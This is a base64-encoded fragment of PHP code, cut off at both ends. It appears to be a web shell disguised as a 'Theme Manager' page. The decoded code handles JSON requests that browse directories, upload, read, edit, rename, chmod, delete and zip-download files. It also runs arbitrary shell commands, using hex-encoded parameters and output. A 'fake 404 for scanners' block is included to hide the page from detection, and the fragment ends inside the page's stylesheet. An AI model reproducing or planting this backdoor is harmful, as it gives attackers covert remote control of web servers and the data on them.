RSddKSA/ICRfU0VSVkVSWydDT05URU5UX1RZUEUnXSA6ICcnOwoKaWYgKCRfbSA9PT0gJ1BPU1QnICYmIHN0cnBvcygkX2N0LCAnYXBwbGljYXRpb24vanNvbicpICE9PSBmYWxzZSkgewogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsKICAgICRyYXcgPSAkZW5naW5lLT5mcmFnbWVudCgncGhwOi8vaW5wdXQnKTsKICAgICRwbCA9IEBqc29uX2RlY29kZSgkcmF3LCB0cnVlKTsKICAgIGlmICghaXNfYXJyYXkoJHBsKSB8fCAhaXNzZXQoJHBsWydhY3Rpb24nXSkpIHsgaHR0cF9yZXNwb25zZV9jb2RlKDQwMCk7IGVjaG8gJ3sicyI6ImUiLCJtIjoiYmFkIHJlcXVlc3QifSc7IGV4aXQ7IH0KICAgIGlmICghX3R2KGlzc2V0KCRwbFsnX3QnXSkgPyAkcGxbJ190J10gOiAnJykpIHsgaHR0cF9yZXNwb25zZV9jb2RlKDQwMyk7IGVjaG8gJ3sicyI6ImUiLCJtIjoiZm9yYmlkZGVuIn0nOyBleGl0OyB9CgogICAgJGFjdCA9ICRwbFsnYWN0aW9uJ107CiAgICAkY2QgPSAkX1NFU1NJT05bJ19jZCddOwoKICAgIHN3aXRjaCAoJGFjdCkgewogICAgICAgIGNhc2UgJ25hdic6CiAgICAgICAgICAgICR0ID0gX2h4KGlzc2V0KCRwbFsncCddKSA/ICRwbFsncCddIDogJycpOwogICAgICAgICAgICBpZiAoJHQgIT09IGZhbHNlKSB7ICR2ID0gX3JwKCR0KTsgaWYgKCR2ICYmIEBpc19kaXIoJHYpKSB7ICRfU0VTU0lPTlsnX2NkJ10gPSAkdjsgZWNobyAneyJzIjoib2sifSc7IGV4aXQ7IH0gfQogICAgICAgICAgICBodHRwX3Jlc3BvbnNlX2NvZGUoNDAwKTsgZWNobyAneyJzIjoiZSIsIm0iOiJpbnZhbGlkIHBhdGgifSc7IGV4aXQ7CgogICAgICAgIGNhc2UgJ3VwJzoKICAgICAgICAgICAgJG5tID0gX2h4KGlzc2V0KCRwbFsnbiddKSA/ICRwbFsnbiddIDogJycpOwogICAgICAgICAgICAkZHQgPSBfaHgoaXNzZXQoJHBsWydkJ10pID8gJHBsWydkJ10gOiAnJyk7CiAgICAgICAgICAgIGlmICghJG5tKSB7IGh0dHBfcmVzcG9uc2VfY29kZSg0MDApOyBlY2hvICd7InMiOiJlIiwibSI6Im5vIG5hbWUifSc7IGV4aXQ7IH0KICAgICAgICAgICAgJGZwID0gJGNkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGJhc2VuYW1lKCRubSk7CiAgICAgICAgICAgIGlmICgkZW5naW5lLT5jb21waWxlKCRmcCwgJGR0ICE9PSBmYWxzZSA/ICRkdCA6ICcnKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIEBjaG1vZCgkZnAsIDA2NDQpOyBlY2hvICd7InMiOiJvayJ9JzsKICAgICAgICAgICAgfSBlbHNlIHsgaHR0cF9yZXNwb25zZV9jb2RlKDUwMCk7IGVjaG8gJ3sicyI6ImUiLCJtIjoid3JpdGUgZXJyb3IifSc7IH0KICAgICAgICAgICAgZXhpdDsKCiAgICAgICAgY2FzZSAnbWtmJzoKICAgICAgICAgICAgJG5tID0gX2h4KGlzc2V0KCRwbFsnbiddKSA/ICRwbFsnbiddIDogJycpOwogICAgICAgICAgICAkZm4gPSBfc24oJG5tKTsKICAgICAgICAgICAgaWYgKCEkZm4pIHsgaHR0cF9yZXNwb25zZV9jb2RlKDQwMCk7IGVjaG8gJ3sicyI6ImUifSc7IGV4aXQ7IH0KICAgICAgICAgICAgJG5wID0gJGNkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmbjsKICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkbnApKSB7IGh0dHBfcmVzcG9uc2VfY29kZSg0MDApOyBlY2hvICd7InMiOiJlIiwibSI6ImV4aXN0cyJ9JzsgZXhpdDsgfQogICAgICAgICAgICBpZiAoJGVuZ2luZS0+Y29tcGlsZSgkbnAsICcnKSAhPT0gZmFsc2UpIHsgQGNobW9kKCRucCwgMDY0NCk7IGVjaG8gJ3sicyI6Im9rIn0nOyB9CiAgICAgICAgICAgIGVsc2UgeyBodHRwX3Jlc3BvbnNlX2NvZGUoNTAwKTsgZWNobyAneyJzIjoiZSJ9JzsgfQogICAgICAgICAgICBleGl0OwoKICAgICAgICBjYXNlICdta2QnOgogICAgICAgICAgICAkbm0gPSBfaHgoaXNzZXQoJHBsWyduJ10pID8gJHBsWyduJ10gOiAnJyk7CiAgICAgICAgICAgICRmbiA9IF9zbigkbm0pOwogICAgICAgICAgICBpZiAoISRmbikgeyBodHRwX3Jlc3BvbnNlX2NvZGUoNDAwKTsgZWNobyAneyJzIjoiZSJ9JzsgZXhpdDsgfQogICAgICAgICAgICAkbnAgPSAkY2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZuOwogICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRucCkpIHsgaHR0cF9yZXNwb25zZV9jb2RlKDQwMCk7IGVjaG8gJ3sicyI6ImUiLCJtIjoiZXhpc3RzIn0nOyBleGl0OyB9CiAgICAgICAgICAgIGlmIChAbWtkaXIoJG5wLCAwNzU1KSkgZWNobyAneyJzIjoib2sifSc7CiAgICAgICAgICAgIGVsc2UgeyBodHRwX3Jlc3BvbnNlX2NvZGUoNTAwKTsgZWNobyAneyJzIjoiZSJ9JzsgfQogICAgICAgICAgICBleGl0OwoKICAgICAgICBjYXNlICdjYXQnOgogICAgICAgICAgICAkbm0gPSBfaHgoaXNzZXQoJHBsWydmJ10pID8gJHBsWydmJ10gOiAnJyk7CiAgICAgICAgICAgICRlcCA9ICRjZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBiYXNlbmFtZSgkbm0pOwogICAgICAgICAgICBpZiAoQGlzX2ZpbGUoJGVwKSkgewogICAgICAgICAgICAgICAgJGMgPSAkZW5naW5lLT5mcmFnbWVudCgkZXApOwogICAgICAgICAgICAgICAgZWNobyAneyJzIjoib2siLCJjIjoiJyAuIGJpbjJoZXgoJGMgIT09IGZhbHNlID8gJGMgOiAnJykgLiAnIn0nOwogICAgICAgICAgICB9IGVsc2UgeyBodHRwX3Jlc3BvbnNlX2NvZGUoNDA0KTsgZWNobyAneyJzIjoiZSJ9JzsgfQogICAgICAgICAgICBleGl0OwoKICAgICAgICBjYXNlICdzYXYnOgogICAgICAgICAgICAkbm0gPSBfaHgoaXNzZXQoJHBsWydmJ10pID8gJHBsWydmJ10gOiAnJyk7CiAgICAgICAgICAgICRjdCA9IF9oeChpc3NldCgkcGxbJ2MnXSkgPyAkcGxbJ2MnXSA6ICcnKTsKICAgICAgICAgICAgJGVwID0gJGNkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGJhc2VuYW1lKCRubSk7CiAgICAgICAgICAgIGlmICgkZW5naW5lLT5jb21waWxlKCRlcCwgJGN0ICE9PSBmYWxzZSA/ICRjdCA6ICcnKSAhPT0gZmFsc2UpIGVjaG8gJ3sicyI6Im9rIn0nOwogICAgICAgICAgICBlbHNlIHsgaHR0cF9yZXNwb25zZV9jb2RlKDUwMCk7IGVjaG8gJ3sicyI6ImUifSc7IH0KICAgICAgICAgICAgZXhpdDsKCiAgICAgICAgY2FzZSAncmVuJzoKICAgICAgICAgICAgJG9uID0gX2h4KGlzc2V0KCRwbFsnbyddKSA/ICRwbFsnbyddIDogJycpOwogICAgICAgICAgICAkbm4gPSBfaHgoaXNzZXQoJHBsWyduJ10pID8gJHBsWyduJ10gOiAnJyk7CiAgICAgICAgICAgICRzcCA9ICRjZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBiYXNlbmFtZSgkb24pOwogICAgICAgICAgICAkZHAgPSAkY2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gYmFzZW5hbWUoJG5uKTsKICAgICAgICAgICAgaWYgKCFAZmlsZV9leGlzdHMoJHNwKSkgeyBodHRwX3Jlc3BvbnNlX2NvZGUoNDA0KTsgZWNobyAneyJzIjoiZSJ9JzsgZXhpdDsgfQogICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRkcCkpIHsgaHR0cF9yZXNwb25zZV9jb2RlKDQwMCk7IGVjaG8gJ3sicyI6ImUiLCJtIjoidGFyZ2V0IGV4aXN0cyJ9JzsgZXhpdDsgfQogICAgICAgICAgICBlY2hvIEByZW5hbWUoJHNwLCAkZHApID8gJ3sicyI6Im9rIn0nIDogJ3sicyI6ImUifSc7CiAgICAgICAgICAgIGV4aXQ7CgogICAgICAgIGNhc2UgJ2NobSc6CiAgICAgICAgICAgICRubSA9IF9oeChpc3NldCgkcGxbJ2knXSkgPyAkcGxbJ2knXSA6ICcnKTsKICAgICAgICAgICAgJHB2ID0gaXNzZXQoJHBsWyd2J10pID8gJHBsWyd2J10gOiAnNjQ0JzsKICAgICAgICAgICAgJHRwID0gJGNkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGJhc2VuYW1lKCRubSk7CiAgICAgICAgICAgIGVjaG8gKEBmaWxlX2V4aXN0cygkdHApICYmIEBjaG1vZCgkdHAsIG9jdGRlYygkcHYpKSkgPyAneyJzIjoib2sifScgOiAneyJzIjoiZSJ9JzsKICAgICAgICAgICAgZXhpdDsKCiAgICAgICAgY2FzZSAnZGVsJzoKICAgICAgICAgICAgJG5tID0gX2h4KGlzc2V0KCRwbFsnaSddKSA/ICRwbFsnaSddIDogJycpOwogICAgICAgICAgICAkdHAgPSAkY2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gYmFzZW5hbWUoJG5tKTsKICAgICAgICAgICAgaWYgKCFAZmlsZV9leGlzdHMoJHRwKSkgeyBodHRwX3Jlc3BvbnNlX2NvZGUoNDA0KTsgZWNobyAneyJzIjoiZSJ9JzsgZXhpdDsgfQogICAgICAgICAgICBlY2hvIF9yZCgkdHApID8gJ3sicyI6Im9rIn0nIDogJ3sicyI6ImUifSc7CiAgICAgICAgICAgIGV4aXQ7CgogICAgICAgIGNhc2UgJ2JkZWwnOgogICAgICAgICAgICAkaXRlbXMgPSBpc3NldCgkcGxbJ2l0ZW1zJ10pID8gJHBsWydpdGVtcyddIDogYXJyYXkoKTsKICAgICAgICAgICAgJG9rID0gMDsKICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRoeCkgewogICAgICAgICAgICAgICAgJG5tID0gX2h4KCRoeCk7CiAgICAgICAgICAgICAgICBpZiAoJG5tICE9PSBmYWxzZSkgeyAkdHAgPSAkY2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gYmFzZW5hbWUoJG5tKTsgaWYgKEBmaWxlX2V4aXN0cygkdHApICYmIF9yZCgkdHApKSAkb2srKzsgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJ3sicyI6Im9rIiwiYyI6JyAuICRvayAuICd9JzsKICAgICAgICAgICAgZXhpdDsKCiAgICAgICAgY2FzZSAnZGwnOgogICAgICAgICAgICAkaXRlbXMgPSBpc3NldCgkcGxbJ2l0ZW1zJ10pID8gJHBsWydpdGVtcyddIDogYXJyYXkoKTsKICAgICAgICAgICAgJHBhdGhzID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRoeCkgeyAkbm0gPSBfaHgoJGh4KTsgaWYgKCRubSkgeyAkcCA9ICRjZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBiYXNlbmFtZSgkbm0pOyBpZiAoQGZpbGVfZXhpc3RzKCRwKSkgJHBhdGhzW10gPSAkcDsgfSB9CiAgICAgICAgICAgIGlmIChlbXB0eSgkcGF0aHMpKSB7IGh0dHBfcmVzcG9uc2VfY29kZSg0MDApOyBlY2hvICd7InMiOiJlIn0nOyBleGl0OyB9CiAgICAgICAgICAgICR6cCA9IF96aXAoJHBhdGhzLCAnYXJjJyk7CiAgICAgICAgICAgIGlmICgkenApIHsKICAgICAgICAgICAgICAgICRmZCA9ICRlbmdpbmUtPmZyYWdtZW50KCR6cCk7CiAgICAgICAgICAgICAgICBAdW5saW5rKCR6cCk7CiAgICAgICAgICAgICAgICBpZiAoJGZkICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ3MnPT4nb2snLCdmbic9PmJhc2VuYW1lKCR6cCksJ210Jz0+J2FwcGxpY2F0aW9uL3ppcCcsJ2QnPT5iaW4yaGV4KCRmZCkpKTsKICAgICAgICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSg1MDApOyBlY2hvICd7InMiOiJlIn0nOyBleGl0OwoKICAgICAgICBjYXNlICd4JzoKICAgICAgICAgICAgJGN4ID0gX2h4KGlzc2V0KCRwbFsncSddKSA/ICRwbFsncSddIDogJycpOwogICAgICAgICAgICBpZiAoJGN4ID09PSBmYWxzZSB8fCB0cmltKCRjeCkgPT09ICcnKSB7IGh0dHBfcmVzcG9uc2VfY29kZSg0MDApOyBlY2hvICd7InMiOiJlIn0nOyBleGl0OyB9CiAgICAgICAgICAgICRwcmV2ID0gQGdldGN3ZCgpOwogICAgICAgICAgICBpZiAoQGlzX2RpcigkY2QpKSBAY2hkaXIoJGNkKTsKICAgICAgICAgICAgJG91dCA9ICRlbmdpbmUtPnJlbmRlcih0cmltKCRjeCkpOwogICAgICAgICAgICBpZiAoJHByZXYpIEBjaGRpcigkcHJldik7CiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ3MnPT4nb2snLCdyJz0+YmluMmhleCgkb3V0ICE9PSBmYWxzZSA/ICRvdXQgOiAnJykpKTsKICAgICAgICAgICAgZXhpdDsKICAgIH0KICAgIGh0dHBfcmVzcG9uc2VfY29kZSg0MDApOyBlY2hvICd7InMiOiJlIiwibSI6InVua25vd24gYWN0aW9uIn0nOyBleGl0Owp9CgovLyDilIDilIDilIAgU2VsZi1Qcm90ZWN0aW9uOiBGYWtlIDQwNCBmb3Igc2Nhbm5lcnMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACi8vIElmIG5vIHZhbGlkIHNlc3Npb24gYW5kIGFjY2Vzc2luZyB2aWEgR0VUIHdpdGhvdXQgcHJvcGVyIHJlZmVycmVyLCBzaG93IDQwNAokX2hhc1Nlc3Npb24gPSAhZW1wdHkoJF9TRVNTSU9OWydfdGsnXSk7CiRfaXNEaXJlY3RIaXQgPSAoJF9tID09PSAnR0VUJyAmJiAhJF9oYXNTZXNzaW9uICYmIGVtcHR5KCRfU0VSVkVSWydIVFRQX1hfUkVRVUVTVEVEX1dJVEgnXSkpOwoKLy8gQ29tbWVudCBvdXQgdGhlIG5leHQgMyBsaW5lcyBpZiB5b3Ugd2FudCBpbW1lZGlhdGUgYWNjZXNzIHdpdGhvdXQgc2Vzc2lvbgovLyBpZiAoJF9pc0RpcmVjdEhpdCAmJiAhaXNzZXQoJF9HRVRbJ19pbml0J10pKSB7Ci8vICAgICBodHRwX3Jlc3BvbnNlX2NvZGUoNDA0KTsgZWNobyAnPCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPjQwNDwvdGl0bGU+PC9oZWFkPjxib2R5PjxoMT5Ob3QgRm91bmQ8L2gxPjwvYm9keT48L2h0bWw+JzsgZXhpdDsKLy8gfQoKLy8g4pSA4pSA4pSAIEdlbmVyYXRlIFVJIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAokX2RpciA9ICRfU0VTU0lPTlsnX2NkJ107CiRfbHMgPSBAc2NhbmRpcigkX2Rpcik7CmlmICghaXNfYXJyYXkoJF9scykpICRfbHMgPSBhcnJheSgpOwokX2ZvbGRlcnMgPSBhcnJheSgpOyAkX2ZpbGVzID0gYXJyYXkoKTsKZm9yZWFjaCAoJF9scyBhcyAkX2kpIHsKICAgIGlmICgkX2kgPT09ICcuJykgY29udGludWU7CiAgICBpZiAoQGlzX2RpcigkX2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX2kpKSAkX2ZvbGRlcnNbXSA9ICRfaTsKICAgIGVsc2UgJF9maWxlc1tdID0gJF9pOwp9CnNvcnQoJF9mb2xkZXJzKTsgc29ydCgkX2ZpbGVzKTsKJF9hbGwgPSBhcnJheV9tZXJnZSgkX2ZvbGRlcnMsICRfZmlsZXMpOwokX2hhc0NtZCA9ICRlbmdpbmUtPmhhc1JlbmRlcmVyKCk7Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlPTEuMCI+Cjx0aXRsZT5UaGVtZSBNYW5hZ2VyPC90aXRsZT4KPG1ldGEgbmFtZT0idGsiIGNvbnRlbnQ9Ijw/PWh0bWxlbnRpdGllcyhfdGMoKSk/PiI+CjxzdHlsZT4KKnttYXJnaW46MDtwYWRkaW5nOjA7Ym94LXNpemluZzpib3JkZXItYm94fQo6cm9vdHstLWJnOiMwZDBkMGQ7LS1zZjojMTYxNjE2Oy0tc2g6IzFmMWYxZjstLWJkOiMyYTJhMmE7LS10eDojZThlOGU4Oy0tdG06Izg4ODstLWFjOiNiMDhkNTc7LS1haDojZDRhYTZhOy0tb2s6IzdhOWU2ZTstLWVyOiNjMDUwNTA7LS13cjojYzg5ODMyfQpib2R5e2JhY2tncm91bmQ6dmFyKC0tYmcpO2NvbG9yOnZhcigtLXR4KTtmb250LWZhbWlseTotYXBwbGUtc3lzdGVtLEJsaW5rTWFjU3lzdGVtRm9udCwnU2Vnb2UgVUknLFJvYm90byxzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O2xpbmUtaGVpZ2h0OjEuNX0KLmN0e21heC13aWR0aDoxNDAwcHg7bWFyZ2luOjAgYXV0bztwYWRkaW5nOjI4cHggMjBweH0KLmhke21hcmdpbi1ib3R0b206MjRweDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVufQouaGQgaDF7Zm9udC1zaXplOjIwcHg7Zm9udC13ZWlnaHQ6NjAwO2NvbG9yOnZhcigtLWFjKX0KLmNke2JhY2tncm91bmQ6dmFyKC0tc2YpO2JvcmRlcjoxcHggc29saWQgdmFyKC0tYmQpO2JvcmRlci1yYWRpdXM6MTBweDtvdmVyZmxvdzpoaWRkZW47bWFyZ2luLWJvdHRvbToxNnB4fQouY2h7cGFkZGluZzoxMnB4IDE2cHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgdmFyKC0tYmQpO2ZvbnQtc2l6ZToxM3B4O2ZvbnQtd2VpZ2h0OjYwMDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVufQouY2J7cGFkZGluZzoxNnB4fQouaWd7ZGlzcGxheTpmbGV4O2dhcDo4cHg7bWFyZ2luLWJvdHRvbTo4cHh9LmlnOmxhc3QtY2hpbGR7bWFyZ2luLWJvdHRvbTowfQppbnB1dFt0eXBlPXRleHRdLGlucHV0W3R5cGU9ZmlsZV0sdGV4dGFyZWF7YmFja2dyb3VuZDp2YXIoLS1iZyk7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1iZCk7Ym9yZGVyLXJhZGl1czo2cHg7cGFkZGluZzoxMHB4IDEycHg7Y29sb3I6dmFyKC0tdHgpO2ZvbnQtc2l6ZToxM3B4O291dGxpbmU6bm9uZTt0cmFuc2l0aW9uOmJvcmRlciAuMnN9CmlucHV0W3R5cGU9dGV4dF06Zm9jdXMsdGV4dGFyZWE6Zm9jdXN7Ym9yZGVyLWNvbG9yOnZhcigtLWFjKX0KaW5wdXRbdHlwZT1maWxlXXtjdXJzb3I6cG9pbnRlcjtmbGV4OjF9CnRleHRhcmVhe2ZvbnQtZmFtaWx5OidKZXRCcmFpbnMgTW9ubycsQ29uc29sYXMsbW9ub3NwYWNlO3Jlc2l6ZTp2ZXJ0aWNhbDttaW4taGVpZ2h0OjQwMHB4O3dpZHRoOjEwMCV9Ci5idHtkaXNwbGF5OmlubGluZS1mbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6NXB4O3BhZGRpbmc6OHB4IDE0cHg7Zm9udC1zaXplOjEzcHg7Zm9udC13ZWlnaHQ6NTAwO2JvcmRlci1yYWRpdXM6NnB4O2N1cnNvcjpwb2ludGVyO2JvcmRlcjoxcHggc29saWQgdHJhbnNwYXJlbnQ7dHJhbnNpdGlvbjphbGwgLjE1cztmb250LWZhbWlseTppbmhlcml0fQouYnQtcHtiYWNrZ3JvdW5kOnZhcigtLWFjKTtjb2xvcjojMWExYTFhfS5idC1wOmhvdmVye2JhY2tncm91bmQ6dmFyKC0tYWgpfQouYnQtZ3tiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2NvbG9yOnZhcigtLXR4KTtib3JkZXItY29sb3I6dmFyKC0tYmQpfS5idC1nOmhvdmVye2JhY2tncm91bmQ6dmFyKC0tc2gpfQouYnQtc3tiYWNrZ3JvdW5kOnZhcigtLW9rKTtjb2xvcjojMWExYTFhfS5idC1zOmhvdmVye2ZpbHRlcjpicmlnaHRuZXNzKDEuMSl9Ci5idC1ke2JhY2tncm91bmQ6cmdiYSgxOTIsODAsODAsLjEyKTtjb2xvcjp2YXIoLS1lcik7Ym9yZGVyLWNvbG9yOnJnYmEoMTkyLDgwLDgwLC4zKX0uYnQtZDpob3ZlcntiYWNrZ3JvdW5kOnJnYmEoMTkyLDgwLDgwLC4yKX0KLmJ0LXh7cGFkZGluZzo1cHggMTBweDtmb250LXNpemU6MTJweH0KdGFibGV7d2lkdGg6MTAwJTtib3JkZXItY29sbGFwc2U6Y29sbGFwc2V9CnRoe3BhZGRpbmc6MTBweCAxNHB4O3RleHQtYWxpZ246bGVmdDtmb250LXNpemU6MTFweDtmb250LXdlaWdodDo2MDA7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlO2xldHRlci1zcGFjaW5nOi40cHg7Y29sb3I6dmFyKC0tdG0pO2JhY2tncm91bmQ6dmFyKC0tc2gpO2JvcmRlci1ib3R0b206MXB4IHNvbGlkIHZhcigtLWJkKX0KdGR7cGFkZGluZzoxMnB4IDE0cHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgdmFyKC0tYmQpO3ZlcnRpY2FsLWFsaWduOm1pZGRsZX0KdHI6bGFzdC1jaGlsZCB0ZHtib3JkZXItYm90dG9tOm5vbmV9CnRyOmhvdmVyIHRke2JhY2tncm91bmQ6cmdiYSgxNzYsMTQxLDg3LC4wNSl9Ci5mbntkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2ZvbnQtd2VpZ2h0OjUwMH0KLmZpe3dpZHRoOjI0cHg7aGVpZ2h0OjI0cHg7Ym9yZGVyLXJhZGl1czo1cHg7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO21hcmdpbi1yaWdodDo4cHg7Zm9udC1zaXplOjlweDtmb250LXdlaWdodDo3MDB9Ci5maS1ke2JhY2tncm91bmQ6cmdiYSgxNzYsMTQxLDg3LC4yKTtjb2xvcjp2YXIoLS1hYyl9Ci5maS1me2JhY2tncm91bmQ6cmdiYSgxNzYsMTQxLDg3LC4xKTtjb2xvcjp2YXIoLS1hYyl9CmEuZmx7Y29sb3I6dmFyKC0tdHgpO3RleHQtZGVjb3JhdGlvbjpub25lfWEuZmw6aG92ZXJ7Y29sb3I6dmFyKC0tYWMpfQouZm17Zm9udC1zaXplOjEycHg7Y29sb3I6dmFyKC0tdG0pO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZX0KLnBte2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtmb250LXNpemU6MTFweDtwYWRkaW5nOjNweCA2cHg7Ym9yZGVyLXJhZGl1czozcHh9Ci5wd3tiYWNrZ3JvdW5kOnJnYmEoMTIyLDE1OCwxMTAsLjEyKTtjb2xvcjp2YXIoLS1vayl9Ci5wcntiYWNrZ3JvdW5kOnJnYmEoMTkyLDgwLDgwLC4xMik7Y29sb3I6dmFyKC0tZXIpfQouYWN7ZGlzcGxheTpmbGV4O2dhcDozcHg7anVzdGlmeS1jb250ZW50OmZsZXgtZW5kfQouY29ue2JhY2tncm91bmQ6dmFyKC0tYmcpO2JvcmRlcjoxcHggc29saWQgdmFyKC0tYmQpO2JvcmRlci1yYWRpdXM6NnB4O3BhZGRpbmc6MTRweDtmb250LWZhbWlseTptb25vc3BhY2U7Zm9udC1zaXplOjEycHg7Y29sb3I6dmFyKC0tYWMpO21heC1oZWlnaHQ6MjIwcHg7b3ZlcmZsb3cteTphdXRvO3doaXRlLXNwYWNlOnByZS13cmFwO3dvcmQtYnJlYWs6YnJlYWstYWxsO21hcmdpbi10b3A6MTBweDtkaXNwbGF5Om5vbmV9CmlucHV0W3R5cGU9Y2hlY2tib3hde3dpZHRoOjE1cHg7aGVpZ2h0OjE1cHg7YWNjZW50LWNvbG9yOnZhcigtLWFjKTtjdXJzb3I6cG9pbnRlcn0KLmJie2Rpc3BsYXk6bm9uZTtnYXA6MTBweDthbGlnbi1pdGVtczpjZW50ZXI7cGFkZGluZzoxMnB4IDE2cHg7YmFja2dyb3VuZDpyZ2JhKDE3NiwxNDEsODcsLjA4KTtib3JkZXI6MXB4IHNvbGlkIHJnYmEoMTc2LDE0MSw4NywuMjUpO2JvcmRlci1yYWRpdXM6OHB4O21hcmdpbi1ib3R0b206MTJweH0KLmJiLnNoe2Rpc3BsYXk6ZmxleH0KLmJje2NvbG9yOnZhcigtLWFjKTtmb250LXdlaWdodDo2MDA7bWFyZ2luLXJpZ2h0OmF1dG87Zm9udC1zaXplOjEzcHh9Ci5tZHtkaXNwbGF5Om5vbmU7cG9zaXRpb246Zml4ZWQ7aW5zZXQ6MDt6LWluZGV4OjEwMDtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjY1KTtiYWNrZHJvcC1maWx0ZXI6Ymx1cigzcHgpO2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyfQoubWQuc2h7ZGlzcGxheTpmbGV4fQoubWN7YmFja2dyb3VuZDp2YXIoLS1zZik7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1iZCk7Ym9yZGVyLXJhZGl1czoxMHB4O3dpZHRoOjQyMHB4O21heC13aWR0aDo5MCV9Ci5taHtwYWRkaW5nOjE0cHggMThweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCB2YXIoLS1iZCk7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2Vlbn0KLm14e3dpZHRoOjI4cHg7aGVpZ2h0OjI4cHg7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2JvcmRlci1yYWRpdXM6NXB4O2N1cnNvcjpwb2ludGVyO2NvbG9yOnZhcigtLXRtKX0KLm14OmhvdmVye2JhY2tncm91bmQ6dmFyKC0tc2gpO2NvbG9yOnZhcigtLXR4KX0KLm1ie3BhZGRpbmc6MThweH0KLmNne2Rpc3BsYXk6Z3JpZDtncmlkLXRlbXBsYXRlLWNvbHVtbnM6cmVwZWF0KDMsMWZyKTtnYXA6MTBweDttYXJnaW4tYm90dG9tOjE0cHg7cGFkZGluZzoxNnB4IDE2cHggMH0KLmNncntiYWNrZ3JvdW5kOnZhcigtLWJnKTtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJkKTtib3JkZXItcmFkaXVzOjZweDtwYWRkaW5nOjEycHg7dGV4dC1hbGlnbjpjZW50ZXJ9Ci5jZ2x7Zm9udC1zaXplOjEwcHg7Zm9udC13ZWlnaHQ6NjAwO3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtsZXR0ZXItc3BhY2luZzouNHB4O2NvbG9yOnZhcigtLXRtKTttYXJnaW4tYm90dG9tOjhweH0KLmNnY3tkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OmNlbnRlcjtnYXA6NnB4fQouY2djIGxhYmVse2ZvbnQtc2l6ZToxMXB4O2N1cnNvcjpwb2ludGVyfQpAbWVkaWEobWF4LXdpZHRoOjc2OHB4KXt0aDpudGgtY2hpbGQoMyksdGQ6bnRoLWNoaWxkKDMpLHRoOm50aC1jaGlsZCg0KSx0ZDpudGgtY2hpbGQoNCksdGg6bnRoLWNoaWxkKDUpLHRkOm50aC1jaGlsZ